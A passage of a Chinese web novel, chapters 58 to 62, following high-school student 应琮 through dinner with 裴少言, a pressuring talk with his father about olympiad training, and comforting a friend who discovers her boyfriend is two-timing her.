不知为何,裴少言这话听起来隐隐带笑。
“那怎么行!太没有礼貌。”
应琮放下筷子,抬头看他。
他看起来和自己一样没吃晚饭,又不像自己一样被恼人的孙星洋和李正心倒了胃口,理应是很饿的。
“你还好吗?”
“你饿不饿?”
两人声音几乎是重叠了。
应琮愣了一秒,反应过来他应该是在问白天的事情,没想到消息传得还挺快的。
她于是很爽快地一边拿了一个小碗给他分了些食物,一边让他安心:“没事啦,本来就是个跳梁小丑,教导主任秉公处理了他。”
“谢谢。”裴少言倒是没推拒她的分享,接过了碗,确认她没受伤便不再多问。
空气中又浮出沉默的气泡。
“吴老师布置的卷子写完了吗?”裴少言忽然问。
“……”
裴少言真是比家教老师还那什么,应琮心虚地移开自己的目光,盯着碗上的花纹。
这几天不是忙着训练接力,就是在享受运动会……竞赛额外布置的试卷,早就被忘在九霄云外了。
其实也不能怪她,吴国才老师已经很久没有专门抽时间给他们三个补课了,应琮自然没有之前上心。虽然冬令营的开营逐渐迫近,但……她有自己的节奏和安排。
“今晚一定写。”
听到她的回答,裴少言似乎叹了口气,轻得让应琮几乎怀疑是错听成了自己的呼吸声。
“别忘了之前的约定啊。”他说。
“什么约定?”应琮想也不想,便接口问道,“我和你的吗?”
裴少言将脸扭向窗外,手上轻柔地摸着膝上的黑猫,像是默认了她的问话。
哪怕看不清楚对
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方的表情,应琮也猜到了裴少言此时的心情,恐怕已经不是单纯的无奈了,而是无语。
说起承诺的话,在他俩之间最有可能的还是在高一了……在发生“表白事件”之前。
她努力地回想,她和裴少言曾经大放过什么厥词吗?
“啊!”
等到招牌饺子上桌了,应琮才从浩如烟海的记忆中搜索到关键词,她恍然大悟地猛然合掌。
原来是这个约定。
“我会努力拿到国家集训队的资格的。”她道。
“你以前说的是‘一定会’拿到。”
裴少言垂眸,有些戏谑地开口。
“是吗?”
应琮没想到他竟然记得这么清楚,眨了眨眼睛。
“可是冬令营里高手如云,集训队的名额有限……我发挥不稳定。”
如果说高一刚接触竞赛时,还觉得自己是能够玩转数学的天之骄子,那么经过吴国才老师的魔鬼集训和同龄人之间的对比后,应琮越发对自己的能力产生了动摇,现在她没有自信再认为金牌是水到渠成的了。
她已经放平心态了,自己随队参加冬令营,只当是一场体验。
“不是发挥不稳定,”裴少言语气淡淡,“是你分心了。”
同时用还没用过的新筷子给她的碗里夹来几个圆滚滚的水饺。
“?”
应琮疑惑不解地看着他。
“我对你入选国集这件事,原本坚信不疑。”
裴少言顿了顿,又道。
“可你现在,似乎有点注意力过于分散了。”
听到他的话,应琮蹙眉不语。
她并非因为被戳中心事而破防,也不是因为裴少言的冷淡而受伤。
“你根本不了解我。”
良久,应琮开口。
“是吗?”
裴少言低头,自嘲般地笑了一声。
“那我收回刚才的话。”他说,执筷夹起一颗饺子,“之前的约定依然作数。”
作数?
应琮不记得这句话后面还有什么值得“作数”的东西,但现在的情形,也不允许她再刨根问底。
“可以。”
她装作云淡风轻,也拿起筷子。
话不投机,两个人静静地吃起饭来。
在吃下第一颗饺子时,裴少言的表情便凝在脸上,随后表情越来越沉重,甚至连认真吃面的应琮都察觉到了气氛的不对劲,她也尝了一口饺子,没觉得有什么不对,于是抬头多看了他几眼。
“应琮,”裴少言放下筷子,一字一句道,“你们家的饺子馅,是谁调的?”
“我妈妈啊。”
应琮老老实实地回答,“有时候美芳阿姨也会帮忙。”
“嗯。”
裴少言应了一声,重新恢复正常,继续慢慢吃着盘子里的饺子。
“喵呜”
一直安安静静的咪咪忽然出声,伸出爪子在空中挥舞了几下。
听到猫叫,应琮的动作顿时愣怔。
她知道为什么裴少言吃到饺子后的反应如此反常了。
这个饺子馅儿的配方,是裴少言外婆传授给她的,裴少言当然再熟悉不过。此刻一人一猫之间毫无距离,裴少言和自己的外婆离得那样近,但当事人却一无所知。
应琮忽然心头涌上一阵酸涩,不知不觉将指甲掐进手心,抑制自己的情绪。
祖孙相见不相识,那么重新还魂这件事,对于他们而言,究竟有什么好?
59. 第 59 章
每次和裴少言见面,他都会绕到学习的话题,久而久之,应琮一想到他,就有一种想到学校老师般的心情。
不,应该比学校老师还可怕。
因为她有信心糊弄老师,却糊弄不了裴少言这个聪明人。
有时候应琮都会猜想,这是不是裴少言的策略,目的是摧毁自己在她心目中的形象,打消她的少女情怀,杜绝早恋。
只能说这招虽阴,却实在有效,哪怕到了周末,只要念及周五吃饭时裴少言提到的约定,应琮还是老老实实窝在家里学习。不仅写完了剩下的竞赛试卷,还额外多写了几套真题。
这下,再见到裴老师,便不至于心虚气短了。
“宝贝,能不能帮妈妈一个忙?去把咪咪的玩具带过来店里。不知为什么,它今天一直烦躁地转来转去。”
忙碌了半天的琮师傅好不容易准备休息会儿,像是算准了一般,手机上忽然弹出妈妈发来的语音信息。
玩具啊……
应琮挣扎半晌从柔软的床上爬起来,在客厅翻翻找找,犹豫了几秒后,选择了一个容量很大的手提袋。
没办法,老人猫·孩子咪爱玩的东西有很多,还都不是小玩意,与其挑挑拣拣,不如都带过去好了。
毕竟现在咪咪基本上天天跟着妈妈呆在店里,从早到晚,俨然是一只兢兢业业的招财猫。
口袋里装好钥匙,提着五颜六色的猫玩具,劳碌的应琮小师傅仔细地关好门窗,套上万年不变的黑色厚卫衣,准备去饺子店。
初冬的周末,路上基本没有什么人,即使还是下午,天空已经呈现出灰扑扑的暗色调。
几声鸟叫从头顶传来,颇有凄凉之味。
应琮走着走着,耳尖一动,脚步稍缓,握紧了手上的手机,不动声色地往路中间移去脚步。刚一出小区她就察觉到了不对劲,有一辆纯黑色的车始终沿着路不远不近地跟在她的身后。
无论是车牌还是车型,都不是应琮见过的。
以她爸李正心的风格,也不会开这种低调的车。
她的余光一直能看见这片黑色,实在令人不安。
见到应琮缓下脚步,似乎是意识到自己被发现了,黑色轿车不紧不慢地晃下副驾驶的车窗。
“还记得我吗?应琮。”
陌生的中年男声,自顾自地带着一种不应存在的熟稔。
应琮并没有放下警惕,快速地往声音的方向瞥了一眼。
???
出乎意料的是,并不是什么形似拐卖犯的陌生人,他们之间甚至有过一面之缘——尽管不太愉快。
“叔叔找你有事。”
裴名面带微笑,伴随着笑,眼角泛起符合他年龄的皱纹。
细看的话,裴少言的长相和他的确有三分相似,只是裴少言惯常冷着脸,看起来比较不近人情,但应琮知道其实他内心远不如看起来冰冷。而眼前的中年男人虽然神情温润如玉,但是眼角眉梢总像在打什么算计,看起来和李正心那个狡诈的老狐狸似的。
从上一次她就猜测,裴父就像眼前这俩低调的车,在人前故意将自己往老而慈祥的方面塑造。
如果不是第一次见面的时候,他就在自己面前展现了霸道讨人嫌的一面,说不定应琮也会被这副外表所欺骗。
“方便的话,不如我们上车聊?”
“抱歉,我拒绝。”
应琮后退一步。
即使对方是裴少言的父亲,这件事依然发生得格外诡异。
他和自己,能有什么事情?两个人在生活中压根就是八百个杆子打不着关系的存在。
唯一的交集恐怕就只有裴少言了,可相交点本人又不在现场。
面对自己无法预料的事态,出于保护自己的立场,应琮下意识回避。
被她拒绝,裴名的笑容没有动摇分毫。
“应琮,不用害怕,我和你父亲已经见过面了。”
看到眼前防备心十足的少女一瞬间蹙紧的眉心,他一笑,“难道你不好奇我们聊了什么吗?”
裴名的语气带着不由分说的坚持。
“你知道他?”
应琮表情只一瞬便重新舒展,在心里嗤笑一声,不卑不亢地反问道。
见过又怎样,她的监护人早就不是李正心了。
“当然。”
裴名了然地笑笑,车子依然耐心地停在路边。
“可能你已经忘记了,十几年前,在你还是个很小的小女孩时,我们在一场并不有名的慈善晚宴上见过。那个时候,李氏集团还只是一个小小的公司……”
他微微侧头,笑意更深。
“是叫‘恋雨’对吧。”
听到这个熟悉的名字,应琮不仅心里觉得倒胃口,表情也变得很难看。
显然,早在她没有意识到的时候,这个人就已经掌握了自己太多的信息,连当年李正心建立的第一个公司名字都知道。
这下被动了。
“上来聊聊吧,”裴名再度邀请道,“你一定有很多想问的。”
应琮沉默着,忽而微微转过身,快速地从口袋里拿出手机,先是给应雨柔发了信息,又暗自拨通了一个人的电话。
幸好,电话秒接通。
见到正在通话的界面以及录音时不断闪动的小红点,她不动声色地将手机放回口袋里,换上笑脸。
“可以啊,裴叔叔,”应琮的咬字很清晰,“我也想知道您找我有什么事。”
待她坐上副驾驶,裴名缓缓发动汽车,向着不知名的方向驶去。
*
“虽然我和你的父亲并不反对你们两个年轻人交往,但有些事情并不是那么简单的,叔叔想和你说清楚。”
听到电话那头传来的男声,裴少言瞬间攥紧了拳头,烦躁地在家中来回踱步。
即使隔着一层口袋面料,声音却并没有因为模糊而失真,对方讲话一直都是这种腔调。自以为待人很亲切,却还是掩盖不了那种身居高位太久,无法放低姿态的傲然。
每一句话都令人无比恶心。
“不用拐弯抹角了,您到底要说什么,就直说了吧。”
少女的声音带了讥诮的冷。
没头没尾的,自己刚一上车就说起这个,倒像是她真和裴少言之间发生了什么一样。
应琮几乎忍不住想要翻白眼的冲动。
“应琮,叔叔知道你也很优秀,又是李氏集团的千金小姐。”裴名就像没听到她说的话一般,自顾自地继续,“听说你也拿到了这次冬令营的资格……不过少言一定会拿到国集的名额,保送进庆大。到时,你们的差距
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就大了。”
语毕,他还笑了一声。
“朋友之间,还谈得上门当户对吗?”
话说到这个份上了,应琮多少也猜到了他的言外之意,面带微愠。
退一万步说,就算她真的在和裴少言谈恋爱,轮得到家长专门找上门来,强调二人之间的巨大差距吗?棒打鸳鸯的嘴脸,未免也太急切。
是担心她会攀附上裴家,或是影响裴少言的光明前途吗?
“你看看你,连成语都用错了,语文课上是不是净知道睡觉了?”
裴名佯装幽默地打趣道,语气一转,带了几分认真。
“那我就直说吧,叔叔今天找你来,是因为少言最近几次的真题模拟发挥都不太稳定。原本应该停课一段时间,去专门的竞赛教练那里集训一周的,可他又自顾自地跑去参加你们学校的运动会,耽误了三天。”
“这和我没关系。”
应琮眼眸里淬着寒意。
“没关系吗?”
裴名夸张地笑笑,不知道的以为喉咙里藏着一只咕咕作响的牛蛙。
“叔叔以为大有关系。所以打算请你好好劝一劝他,毕竟那个竞赛教练,也是叔叔花了好大力气才请到的。”
“如果你愿意的话,”趁着红绿灯的间隙,他转头看向应琮,“叔叔也可以再专门为你在老师那里加一个名额,让你们两个一起参加集训。说不定等训练完,你之后也能加入国家集训队,可以和少言更进一步地培养感情。”
“……”
应琮还是第一次见到如此自说自话的人,比起李正心有过之而无不及。
“别这么看着叔叔,这也有你父亲的意思。他也希望你能去更好的学校,拥有更加美好的未来。”
裴名将车停靠在允许长时间停放的路边,不远处能看到静谧无波的湖水。
水和天的交界线非常模糊,都是一样的灰蓝色。
“你再想想吧,叔叔给你的两个选择。”
说出这句话后,裴名独自离开了车,背着手站在不远处,遥望不时掠过湖面的水鸟。
应琮靠在座椅上,她将手机从口袋拿出来,放在一边,至始至终对面都一言不发。
裴父口中的两个选择,其一是不要影响裴少言,劝说他参加集训,只要在冬令营中取得金牌,裴少言就能顺利进入国家集训队,拿到庆大的保送名额。
其二看似宽容大方,让自己也加入到专业的集训中,却也暗暗要求她也一定要拿到国集的名额,否则就是在拖裴少言的后腿。
无论是哪个选择,都没尊重过她的意愿。
甚至一旦裴少言事与愿违,自己还很可能被追责——成为耽误对方前程的人。
拜托,她可承担不起这么大的责任。
一想到这件事里还有李正心掺和进去,应琮就控制不住地冷笑。
他这种无利不起早的人,恐怕是知道了裴家的身份,上赶着要“卖女儿”过去。
“……你不必听他的。”
裴少言终于开口了。
“我会和他说明白。”
听到他的话,应琮疲惫地叹了一口气,声音很轻很轻。
“裴少言,喜欢你真的好累。”
窗外,洁白无暇的水鸟飞掠,湖面荡起一圈圈的涟漪。
60. 第 60 章
和裴父的见面,应琮并没有告诉第四个人。
她也没打算真的从那两个荒唐的选项里选出什么正确答案来,就这么语焉不详地含糊了过去。
即使自己的确喜欢裴少言,但她本身亦是个独立自由的个体,想让她牺牲自己的精力时间替别人精打细算规划前程?做梦呢。
至于裴少言会怎么想、怎么做,这就不是应琮能知道的事情了。
总而言之,这事只是牵扯到自己,但并非她的事,应琮绝不为此负责。
她只需要过好自己的校园生活。
*
运动会后,意味着他们这学期最后一个校内大型活动的结束,再次上学时,应琮多少有些面容疲惫。
也可能是因为昨天那件事的余韵未消。
应琮还没走进自己的教室,便在走廊上收获一群人投来的目光,不由得放慢了自己的脚步。
如果只是擦肩时多看两眼也就算了,但是一边回头看她一边窃窃私语算怎么回事?
如果情绪可以具象化,应琮现在脑袋上已经冒出一团不爽的毛线了,那些人眼神里有八卦的热情,有吃瓜般的兴奋,还有一些更为复杂的,难以言说的情绪……
又发生了什么?
“就是为了她才打架的吧……孙星洋都被处分了,她怎么能做到如此云淡风轻?”
有人像是因为应琮露出的面无表情而颇有微词。
原来是因为上周五下午的事情,应琮只听到一耳朵,便垂眸,暗自撇了撇嘴。
毕竟这学校里都是乖乖仔,像打架这种恶性事件,在一中十分罕见,也比一般的争端更加令人兴奋。
看来盛逸和孙星洋打架的事情,已经在学校里流传甚广。
莫名其妙的,又要成为别人嘴里茶余饭后的谈资了啊……
应琮来到教室,发现盛逸打架时脸上的伤痕还没有好全,青紫色的淤痕依然在脸侧,十分惹眼。
一看到她出现在教室里,原本还在座位上的盛逸忽然起身,从后门走了出去。
即使他步履匆匆,但应琮还是敏锐地捕捉到了对方脸上一抹而过的红晕。
久见不怪,这人八成又犯病了。
应琮没多想,在自己位置上坐了下来。
像是看到她来了,原本还和自己的好朋友们聚在不远处聊天的英语课代表,突然停下动作,慢慢朝着应琮的方向踱步前进。
“那个……”她嗫嚅道。
“什么事?”应琮有些疑惑,抬头看去,“今天也要帮你带蒸饺做早餐吗?”
英语课代表常常会拜托自己带店里的饺子作为早餐,但因为周一要提前半小时到校,所以一般应琮这天不帮忙带早餐给班里的同学。几周下来,大家也都自觉地遵守这个约定俗成的潜规则。
“不,不是因为早餐的事情。”
女生摇摇头,犹豫半晌,小心翼翼地开口,“那个……我来是想问一下……周五那天你受伤了吗?”
应琮眉毛微微上扬,似乎是没想到她会问出这样的话。
这是在……关心自己?
应琮的目光转向不远处的女生们,她们正小心翼翼地看着这里,表情期待又忐忑。
想到刚刚旁听到的闲言碎语,应琮抿了抿唇。
还是……为了打探更多当时的细节,以便和自己的朋友们八卦时能聊得更多?
“并没有。谢谢你的关心。”
无论对方出于什么心态,应琮都无所谓,平静地回道,恢复了往常的冰块脸。
在这一点上,她深得前同桌深传。
“那就好!”
听到她的回答,女生如释重负般笑笑,从自己口袋里掏出一条巧克力,放在应琮的桌上。
“你别在意,那个孙星洋高一的时候就喜欢造谣别人。别说是你,我和另一个女生之前就饱受困扰,而且无论怎么告老师也没用……”
女生出乎应琮意料之外,对方不仅没被她的冷脸赶跑,反而话多起来,像个……叽叽喳喳的麻雀?
她心里莫名想到这个比喻,然后越看越像。
“所以我们很担心你……但也要谢谢你,他得处分是应该的!完全是大快人心!”
或许是因为平时没有和她说过这么久的话,女生说着说着有些前言不搭后语,但应琮依然听懂了对方想要表达的意思。她张了张口,本想说“没事”,但是还没说出声就被打断。
“虽然很可惜孙星洋只是皮外伤,但是能重创他一顿也很好了。说到底还是多亏了你和盛逸……”
女生越说越慷慨激昂,如果不是孙星洋今天请假没来上学,恐怕她自己都要上去狠狠揍上两拳。
好不容易等到了对方说话间的空当,应琮赶忙拿起巧克力。
“谢谢你们。”她道,露出如春日冰雪消融般璀璨动人的笑容。
“你……”
女生愣了,怔在原地。
“怎么?”应琮不解。
“你笑起来更好看了……”对方喃喃道,几秒后像是意识到自己说出口了什么了不得的东西,女生立刻捂着自己的脸,三两下就跑走了。
……?
“不愧是你啊~还真是男女通杀,聊起来连你的同桌兼战友都看不见。”
不知何时,盛逸回到座位上了,在旁边冷飕飕道,不可谓不阴阳怪气。
也不知道他究竟听到了多少。
应琮难得没还口,也没还手,掰开巧克力,将多的那半递了过去。
“喏。”
见她主动示好,盛逸没继续哼哼,伸手接了过来。
他原本的脸蛋称一声“俊朗”也不过分,只是现在这张脸上多了这么一块伤痕,就像是一张白纸上沾了一团污渍,格外令人心里在意。
好巧不巧,那块不小的淤青还恰好冲着自己。
应琮忽然有点想向盛逸道歉,虽然她自己也不知道为什么会有这股冲动。
她看向对方,欲言又止。
“对不起。”
两人四目相对,却是盛逸先开口。
啊?
“你为什么要和我道歉?你又没做错什么。”应琮有些搞不懂了。
“……在他开口诋毁你第一句的时候,我就应该让他住嘴。”
这样就不会让你听到那么多不堪入耳的东西了。
盛逸捏拳轻轻打在桌上,神情有些懊恼。
整个周末,他都在家里憋着一口气反省自己,复盘打孙星洋的每一拳,只恨自己打得不够快不够狠。
他本来可以做得更好,唉!
听他的话,倒像是还有气没出。
看到盛逸竟然比自己还要愤愤不平,应琮不由得好气又好笑。
“可是你已经帮我报仇啦。”她说,尾音里带了自己都没有意识到的轻快。
“但……”盛逸还是有些在意。
年级里关于应琮的谣言,并没有就此停止,他今天早上警告了
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几个好事男,结果似乎适得其反了。
“没事的,流言止于智者。”
应琮将一块巧克力轻轻放入嘴中,甜蜜又微苦的滋味一点点在舌尖弥漫开。
*
“应琮——有人找——”
上午的大课间,坐在前门附近的同学叫道。
原本还打算趴在桌上小眯一会儿的应琮不得不起身,可怜她前一天晚上刷题到深夜,连唯一的休息时间也不得闲。
今天真是热闹,又是谁来找自己呢?
这次却不是什么陌生同学,前门外的走廊,一个熟悉的、亭亭玉立的背影映入眼帘。
“时满!”
应琮快步绕到她的身后,笑嘻嘻道。
见到她,时满也露出笑容。
“找我什么事?”
两个人的班级毕竟一个在楼上一个在楼下,一定是有什么事情,对方才会上楼过来。
“真聪明,”时满挽住她的手臂,拉她到走廊边上晒太阳,“我是为了传达一下吴老师的话,他最近生病请假了,恐怕一直到学期末都没办法再给我们培训竞赛。”
“啊?”应琮有点惊讶,她没想到吴国才生病到了这么严重的地步,神色又带了些担忧。
“所以学校安排了许明老师来给我们上课,一周两次。”时满似乎也困了,闭眼感受暖融融的阳光洒在脸上,继续道,“不出意外的话,冬令营的时候随队老师也是他。”
“他?”应琮的反应变得比刚才还要惊讶。
许明不是今年才毕业来一中的新老师吗?
让他直接来带竞赛……怎么感觉是校领导一拍脑门随便作出的决定啊!
应琮只反省了一秒自己的小人之心,却不觉得领导们算什么君子之腹,心里仍充满了怀疑。
“我也觉得有点神奇,不过我听其他老师说,许明老师当年也是通过数学竞赛保送进庆大的,所以实战经验很丰富。”
“原来如此。”应琮了然地点点头。
看来校领导还是有考虑过的,并不是天马行空地点兵点将,她还是不该随意质疑。
“总之,今晚放学就要跟着许明老师上课了。”时满叮嘱道,她没忘记之前应琮和许明之间闹过不愉快。
“裴少言也会去吗?”
鬼使神差的,应琮没太在意许明来不来,反而在意起了另一个人。
刚一开口便迅速在大脑中觉得不对,时满和裴少言都是一个班的,若要通知,肯定第一个通知的就是他。
“不,”时满摇摇头,“他请假了。”
“生病请假?”应琮奇怪道。
不应该啊,这么突然?之前见不是还好好的吗?
“不是生病吧。他好像外出集训了,应该要到期末才会回来。”时满解释,“具体的我就不清楚了。”
她和裴少言虽然在同个班级,但也没那么熟悉,因此不太关心这则消息。
应琮蓦然沉默,如果是集训,那她就有猜测的方向了。
看来裴少言应该和他的父亲谈妥了。
应琮也随时满一起闭上眼睛,仰脸让温和的阳光自在地洒下来,感觉到每一个毛孔似乎都在舒张。
她一边应和着时满新的话题,一边却不由自主地走起了神,始终没办法跟着放松。
裴名的霸道条款生效了。
不知道裴少言那边,现在又是什么情况。
他已经顺从了,裴名还会继续为难他吗?
61. 第 61 章
一场秋雨一场寒,江城的秋冬分界线虽然非常不明朗,但也并非难以感知。
简单地说,全是靠下雨推进的。
虽然只是下午六点,但最近连下了几天的雨,不仅冷,天也早早昏暗下来,给周遭蒙上一层似有若无的灰雾。
“你看,我新买的袜子可不可爱?”
身穿长裙的女生一边放慢脚步,一边将腿轻轻往前踢,她的袜筒边缘有一圈毛茸茸的小猫,这是属于秋冬季节才能实现的珍贵小巧思。
和她并肩而行的男生轻轻笑了笑,朦胧的夜色下,眼神温柔得足以将人溺毙。
“的确很可爱。”
他并没有看着女生的袜子,而是注视着对方黑白分明的眼眸,深情款款。
“是吧。不过你先别急着嘴甜,今天我去你们班上找你的时候,你猜我看到什么了?”
女生嘴上在质问,但眼眸笑得弯弯,显然只是嗔怒。
男生表情微微一僵,随后立刻恢复温柔的态度。
“宝宝你来我们班啦?什么时候啊?怎么不进去和我说话呢?”
“你在和你们班的体委讲题,我过去干什么?”女生嘴巴一撇。
她口中的体委是一位身高1.7米的美丽女孩,何况她嘴上虽然这样说,但本质并不是真的在吃醋。
只是正经讲题,自己没必要介意。
见她神态如常,男生心下松了一口气。
“体委物理不是很好,就讲得有点久,害我都没发现你来了,宝宝你骂我吧。”
女生佯怒甩开他,故意回避男生的眼神,背着手继续往前走。
校门口近在咫尺,他们两个人只能再走短短一段路了。
走着走着,原本还和她肩挨着肩的男生像是看到了什么,脚步陡然一顿。
“怎么啦?”她问。
“……”
男生沉默着没有理会,将自己的脸扭向另一边,仿佛为了躲避什么。
“你看到了什么吗?”女生继续关切道,仰头看着对方,神色认真。
“不会是因为看到了我吧?”
还没等到应有的回答,另一道女声从对面幽幽传来,语气复杂。
“你是谁?”
程依依猛然回头,眉头微蹙,向前站定,眼神里充满疑惑。
一个长相完全陌生的短发女生缓缓出现在二人面前,双手交叉在胸前。
“我想,你应该问问你旁边的那位。”
短发女生耸了耸肩,看着在黑暗中脸色霎时变成灰白色的男生,意味深长地开口。
程依依抬眸,顺着来人的眼神看去,注意到男生已然僵直的身体时,她的心脏忽然一沉。
一男两女,形势不妙,这是什么情况?
“……欢欢,事情不是你看到的那样。”
寂静中,呆若木鸡的男生终于开口了。
听到他下意识地先喊了对方的名字,程依依的脸色比夜晚还要沉。
“那是什么样呢?”
杨欢徐徐往前走了一步,见状,男生往后退了半步。
“难道说,这位也是你的妹妹?”
她神色阴沉,眼眸一转,落在程依依的身上。
“我……这个,那个……”
男生显然没有那么良好的心理素质,站在原地支支吾吾地说不出个理所然来。
显而易见的,这个男的已经废了。
程依依抿了抿唇,深吸一口气。
“不好意思,”她露出社交的笑容,看向杨欢,尽可能地让自己表现得诚恳,“请问你们是什么关系?”
“我们?”
不知道是哪个字戳中了杨欢的笑点,她乐了。
“我们是情侣啊,谈了大半个学期了。”
她又往前走了一步,用不由分说的力度拽住了男生的衣领,狠狠地将人往自己怀里一勾,面上依然是笑着的。
“怎么,他没跟你说?”杨欢挑挑眉。
“……”
杨欢虽然没冲她发火,但程依依却觉得自己脸上像被谁扇了一巴掌似的,火辣辣的疼。
她张了张口想解释,却发现自己发不出声音。
果然如此。
她应该猜到的,运动会的第一天,他们就相互确定了关系。但总有一些时候,这个男的会突然销声匿迹,发信息也像石沉大海。
男生给的答复是家里管的严,不能时时刻刻看手机,周末也不能经常出来玩。
一切一切的借口,她都理解并尊重了。
如今知道真相,过去那些微妙的时刻如飞扬的雪花一片片涌进她的心头,程依依既愤怒又丢脸。
他真该死,平时上学这么忙还有空劈腿。
“都是她一直缠着我。”衣领被拽得很紧,男生反手握住杨欢的手,脸胀得通红。
他极力为自己辩解,想要借此换取对方的手下留情。也能呼吸些许新鲜的空气。
“欢欢,你听我解释。”
“你!”
闻言,程依依瞪大了双眼,世上竟然会有如此恬不知耻的人。
自己的确因为对方长得一副好皮相而多有关心,但他也向自己散发出可以进一步交往的友好信号。即使是住宿生,男生却违反校规带了手机,两个人常常互诉衷肠,聊到深夜。
如果不是他释放了单身信号,她怎么可能……
不得不说,对方实在是很会隐藏。
无论是平时在学校,还是在社交网络上,敏锐如程依依,也没有发现另一名女生存在的一丁点儿痕迹。
“我就在这里啊,”杨欢挣脱开他的手,好整以暇地将自己的头发别在耳后,“你想怎么解释?”
“她是隔壁班的女生,我们只是……刚好聊得比较来,所以才走得近了些。”
“是吗?”
杨欢的表情捉摸不透,让人不知道她是相信了,还是压根没放在心上。
“他在说谎!”程依依咬牙,“我们暧昧了好几周……而且是他上周三主动和我表白的——”
“够了!”
男生厉声打断她的话。
“程依依,不要用你的一厢情愿拉我下水。”
他瞥了一眼旁边的女生,眼底的深情被冰冷取代。
“我怎么感觉,她说的不像是假的。”
杨欢站在一边,笑眯眯的,仿佛看了一出好戏。
“怎么办,这下我不知道该相信谁才好了。”
“欢欢,”男生轻声叫道,试图唤起二人之间的情分,“你知道的,我不是那种人。”
程依依听在耳里,几欲作呕。
她几乎顾不上自嘲智者千虑必有一失,内心只有一个想法在叫喊:自己才不是插足别人感情之间的第三者!
在这瞬间,程依依想甩袖子走人的欲望达到了顶峰。
她站在二人旁边,看着原本深情的男生逐渐腐烂,变成一副软弱窝囊的模样,双腿却像是灌了铅一样无法迈动分毫。
拜托了,来个人带她离开吧。
谁都好。
拜托。
程依依低头凝视着自己的双脚,脸颊逐渐变得濡湿。
袜子上,小猫弯起的唇角格外刺眼。
她还特意下单了情侣款,实在丢人。
“杨欢学姐。”<
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p>他们同时向着声音传出的方向转头。
听起来有些熟悉,程依依反应慢了一秒,愣愣地抬头看过去。
应琮的身影从阴影里走了出来,她的脸上照旧没有什么大表情,却令程依依鼻头变得更酸。
“你是……”杨欢眯起眼睛,认了出来,“杨乐班里的同学?”
应琮点了点头,走快两步上前站在程依依身旁,握住她被冻得冰冷的手。
“很抱歉刚刚不小心听到了你们的对话,”她不疾不须道,脸上没有什么不好意思,“依依是我的好朋友,我相信她的为人。”
“CC……”
听到她在为自己说话,程依依感动地开口,声音带了几分沙哑。
“感情这种事情,你一个局外人怎么说得清楚。”杨欢觉得有些好笑,扬眉道,“她会和你说自己谈恋爱的事吗?”
“学姐,”应琮直视着她,心平气和道,“一切的重点不在于依依,而在于你身边的那个男生。”
冷不丁地被人提起,原本还在当背景板的男生浑身一激灵。
“不如问问他,为什么要欺骗别人的感情?如果他真的是好人,就算别的女生主动,恐怕也难有可乘之机吧?”
说罢,应琮定定看了一眼二人的脸色,见杨欢盯着男生似要进一步发作,顺势拉着依依离开现场。
她的脚步很快,程依依刚开始没跟上,被空气绊得踉跄了几下。
应琮逐渐放缓了脚步,两个人走出了校门。
“CC,你在生气吗?”
看着她紧绷的侧脸,程依依小心翼翼地开口。
“我为什么要生气?”
应琮反问,没有分给她一个眼神。
“……因为我没有告诉你自己谈恋爱的事情。”
程依依的声音很小,完全不符合她平时表露出来的性格。
“谈恋爱是你的自由,我没有理由生气。”
“你果然在生气。”
程依依停下脚步,心里十分不安。
风忽地卷起路边的落叶,刷刷作响,她还是听到了好友在耳畔发出的叹气。
“为什么要选这样的人?”
应琮问的没头没尾,或者说她其实也不知道该说什么。
“对不起,”程依依低头道歉,“我也不知道为什么……可能因为他经常和我聊天。”
她是一个很容易陷入自我幻想的笨蛋,别人只是稍一施展魅力,释放一些暧昧不清的信号,她就会不自觉地脑补许多,最终掉进自己想象出的爱情陷阱里。
“那怎么办?”
应琮注视着自己的好朋友,眼睛里闪烁着许多说不清的东西。
其实都怪她,是她最近忽视了依依。
“没事,”程依依脸上挤出一个笑容,“我这周五就不在学校了,就算有人要说些什么,我也听不到。”
听清楚对方的话,应琮的呼吸停了一瞬。
“集训这么早就要去了吗?”她听到自己问,声音在冷空气中显得飘忽。
“嗯,”程依依用力地点点头,眼眶红了又红,“本来我打算这几天跟你说的,还没来得及就……”
“去哪里?”
应琮有些突兀地问。
“燕京。”程依依道,“舞蹈生和传媒生一起。美术生好像要先去西南地区采风。”
燕京啊……
应琮默然,冬令营的地点在更南的地方。
此去一别,事多繁杂,她们恐怕就要等到高三才能再见面了。
只是粗粗一想,应琮的心里也被悲伤填满,沉甸甸地喘不过气来。
她真的很讨厌冬天。
62. 第 62 章
又是艳阳天,冬日的阳光透过玻璃窗,将窗台上放着的植物们照得更加绿油油,一派生机盎然。
课间,许多人都聚集在走廊上晒太阳,剩下的人早已睡倒在教室里。
第一节课就上长篇文言文,对于她这种语文苦手而言实在太辛苦了。
应琮伸直手臂,坐在座位上慢悠悠地伸了个懒腰。
再放下手时,她忽然发现桌面上多了一个用便利贴揉成的小团。
谁丢的?
应琮左右看看,将纸团打开。
“应琮,你现在有空吗?我有些话想跟你说。”
落款是杨乐。
她奇怪地转身,恰好和坐在后面的杨乐对上眼神。
对方表情和平常没有什么两样,应琮也没多想,不远不近地跟着他,两个人来到楼梯转角的隐蔽处。
“什么事?”她说。
“……对不起。”
听到杨乐的话,应琮惊讶了几秒,很快在心里反应过来,知道他所为何事。
果不其然,杨乐继续道,“前天晚上,我姐对你们的态度不好,我替她传达一下歉意。”
“这是她的意思还是你自己的意思?”应琮问。
“我们两个人的意思,”杨乐脸上露出不好意思的神情,“……她已经分手了。”
应琮点点头,分不分手的,其实也没必要专门告诉自己。
如果面对自己脚踏两只船的小男友,杨欢依然能够继续和他柔情蜜意地在一起,那她也只能佩服对方的忍耐力了。
“那你也要去楼上和依依道歉吗?”
她抬头看看自己面前,和杨欢面容相似的男生。
杨乐摇摇头,表情认真。
“我姐亲自去道歉。”
既然说清楚了,两个人也没什么其他的话要说,便一前一后地往教室走去。
另一道身影,悄悄从转角处走了出来。
真是的,他刚刚为什么要藏起来,倒像是心虚一般。
盛逸一边走,一边暗骂自己没出息。
不过是看到应琮和杨乐在说悄悄话而已,至于躲得那么快吗?
可回想刚刚躲在角落里看到的情形,他心里又直犯嘀咕。
他们两个人单独跑到隐蔽的地方,能说什么呢?
可惜墙壁隔音效果太好,盛逸一点儿没听清,再加上视角所限,他只注意到杨乐说话时泛红的耳朵。
到底说了什么?
可恶,完全做不到不在意啊!
重新回到教室后,两个人都已经分别坐在自己的位置上。
一个忙着看小说,另一个正在整理抽屉里的卷子,虽然谁也没有看谁,盛逸却总感觉氛围有些怪怪的。
“哎,”他也坐下来,装作不经意地开口,“你觉得……杨乐人怎么样?”
“怎么突然这么问?”应琮头也没抬,手上翻找的动作没停。
